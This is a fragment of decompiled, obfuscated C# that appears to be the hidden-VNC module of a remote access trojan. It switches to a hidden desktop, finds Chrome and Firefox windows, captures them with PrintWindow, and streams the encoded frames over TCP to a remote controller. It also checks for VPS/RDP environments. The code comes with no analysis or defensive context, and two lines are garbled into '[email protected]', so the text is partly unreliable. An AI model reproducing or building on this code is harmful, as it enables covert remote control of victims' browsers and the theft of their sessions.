// Token: 0x060000B7 RID: 183 RVA: 0x000055E8 File Offset: 0x000037E8
 internal bool ValidateMapper(IntPtr task, IntPtr cust)
 {
     if (ParamRuleContainer.IsWindowVisible(task))
     {
         ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
         ParamRuleContainer.GetWindowRect(task, out regParserResolver);
         if (regParserResolver.QueryMapper() == 0 || regParserResolver.StartMapper() == 0)
         {
             return(true);
         }
         if (!this.m_Server.status._Task.Contains(task))
         {
             StringBuilder stringBuilder = new StringBuilder(100);
             ParamRuleContainer.GetClassName(task, stringBuilder, 100);
             if (stringBuilder.ToString() == "Chrome_WidgetWin_1" && !this.m_Server.status.iterator)
             {
                 this.m_Server.status.iterator = true;
                 ParamRuleContainer.SetWindowPos(task, ParamRuleContainer.ResolverProductPage.facade, 0, 0, Streaming.size.Width, Streaming.size.Height - 20, 1u);
             }
             else if (stringBuilder.ToString() == "MozillaWindowClass" && !this.m_Server.status._Observer)
             {
                 this.m_Server.status._Observer = true;
                 ParamRuleContainer.SetWindowPos(task, ParamRuleContainer.ResolverProductPage.facade, 0, 0, Streaming.size.Width, Streaming.size.Height - 20, 1u);
             }
             uint num = (uint)((int)ParamRuleContainer.GetWindowLong(task, -20));
             num |= 33554432u;
             ParamRuleContainer.SetWindowLong(task, -20, (IntPtr)((long)((ulong)num)));
             this.m_Server.status._Task.Add(task);
         }
         [email protected](task);
         int system = this.m_System;
         this.m_System = system + 1;
     }
     return(true);
 }
        public void StreamAd()
        {
            Streaming.DispatcherGetterLicense dispatcherGetterLicense = new Streaming.DispatcherGetterLicense();
            dispatcherGetterLicense.status = this;
            Bitmap bitmap;

            try
            {
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    throw new Exception();
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            catch
            {
                Streaming.size = Screen.PrimaryScreen.Bounds.Size;
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                    this.StopStream = true;
                    return;
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp);
            Thread.CurrentThread.Priority  = ThreadPriority.Highest;
            dispatcherGetterLicense.@class = new List <IntPtr>();
            while (!this.StopStream)
            {
                try
                {
                    Streaming.WrapperMapperImporter wrapperMapperImporter = new Streaming.WrapperMapperImporter();
                    wrapperMapperImporter.m_Server = dispatcherGetterLicense;
                    wrapperMapperImporter.m_System = 0;
                    ParamRuleContainer.EnumWindows(new ParamRuleContainer.Record(wrapperMapperImporter.ValidateMapper), IntPtr.Zero);
                    for (int i = wrapperMapperImporter.m_System - 1; i >= 0; i--)
                    {
                        ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
                        ParamRuleContainer.GetWindowRect(wrapperMapperImporter.m_Server.@class[i], out regParserResolver);
                        if (regParserResolver.QueryMapper() != 0 && regParserResolver.StartMapper() != 0)
                        {
                            if (i != 0)
                            {
                                IntPtr asset = wrapperMapperImporter.m_Server.@class[i - 1];
                                ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver);
                                ParamRuleContainer.GetWindowRect(asset, out regParserResolver2);
                                if (regParserResolver2.RateMapper() < regParserResolver.RateMapper() && regParserResolver2.DeleteMapper() < regParserResolver.DeleteMapper() && regParserResolver2.SetMapper() > regParserResolver.SetMapper() && regParserResolver2.SortMapper() > regParserResolver.SortMapper())
                                {
                                    goto IL_26E;
                                }
                            }
                            using (Bitmap bitmap2 = new Bitmap(regParserResolver.QueryMapper(), regParserResolver.StartMapper(), PixelFormat.Format24bppRgb))
                            {
                                using (Graphics graphics = Graphics.FromImage(bitmap2))
                                {
                                    IntPtr hdc = graphics.GetHdc();
                                    ParamRuleContainer.PrintWindow(wrapperMapperImporter.m_Server.@class[i], hdc, 0);
                                    graphics.ReleaseHdc(hdc);
                                    ParamRuleContainer.DeleteDC(hdc);
                                    Graphics graphics2 = Graphics.FromImage(bitmap);
                                    graphics2.DrawImage(bitmap2, regParserResolver.RateMapper(), regParserResolver.DeleteMapper());
                                    graphics2.Dispose();
                                }
                            }
                        }
                        IL_26E :;
                    }
                    BitmapData bitmapData = null;
                    using (MemoryStream memoryStream = new MemoryStream())
                    {
                        try
                        {
                            bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
                            if (bitmapData.Scan0 == IntPtr.Zero)
                            {
                                SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                                continue;
                            }
                            this.StreamCodec.CodeImg(bitmapData, memoryStream);
                        }
                        catch (Exception ex)
                        {
                            SchemaMapper.ReflectContext(ex.ToString());
                        }
                        if (memoryStream.ToArray().Length > 4)
                        {
                            List <byte> list = memoryStream.ToArray().ToList <byte>();
                            list = this.AwakeMapper(list.ToArray()).ToList <byte>();
                            list.AddRange(this.@ref);
                            this.tcpStream.Receive(new byte[1]);
                            this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream);
                        }
                        bitmap.UnlockBits(bitmapData);
                    }
                    GC.Collect();
                    [email protected]();
                }
                catch (Exception ex2)
                {
                    SchemaMapper.ReflectContext(ex2.ToString());
                }
            }
            this.StreamCodec.Dispose();
            this.StreamCodec = null;
            this.IncludeMapper();
        }